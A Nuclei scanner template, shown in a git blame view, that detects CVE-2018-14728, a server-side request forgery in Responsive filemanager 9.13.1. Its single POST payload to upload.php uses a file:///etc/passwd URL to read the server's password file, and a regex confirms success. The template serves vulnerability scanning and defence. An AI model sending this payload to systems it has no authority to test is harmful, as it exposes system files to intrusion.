nuclei-templates/http/cves/2018/CVE-2018-14728.yaml

36 lines
1.1 KiB
YAML
Raw Normal View History

2021-01-02 05:00:39 +00:00
id: CVE-2018-14728
2020-04-08 12:34:50 +00:00
info:
name: Responsive filemanager 9.13.1 Server-Side Request Forgery
2020-04-08 12:34:50 +00:00
author: madrobot
severity: critical
description: Responsive filemanager 9.13.1 is susceptible to server-side request forgery in upload.php via the url parameter.
reference:
- http://packetstormsecurity.com/files/148742/Responsive-Filemanager-9.13.1-Server-Side-Request-Forgery.html
- https://www.exploit-db.com/exploits/45103/
- https://nvd.nist.gov/vuln/detail/CVE-2018-14728
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-14728
cwe-id: CWE-918
2023-07-15 16:29:17 +00:00
epss-score: 0.96872
2023-07-11 19:49:27 +00:00
cpe: cpe:2.3:a:tecrail:responsive_filemanager:9.13.1:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: tecrail
product: responsive_filemanager
tags: cve,cve2018,ssrf,lfi,packetstorm,edb,intrusive
2020-04-08 12:34:50 +00:00
http:
2020-04-08 12:34:50 +00:00
- method: POST
path:
- "{{BaseURL}}/filemanager/upload.php"
2020-05-25 07:49:06 +00:00
2023-07-11 19:49:27 +00:00
body: fldr=&url=file:///etc/passwd
2020-04-08 12:34:50 +00:00
matchers:
- type: regex
2023-07-11 19:49:27 +00:00
part: body
2020-04-08 12:34:50 +00:00
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"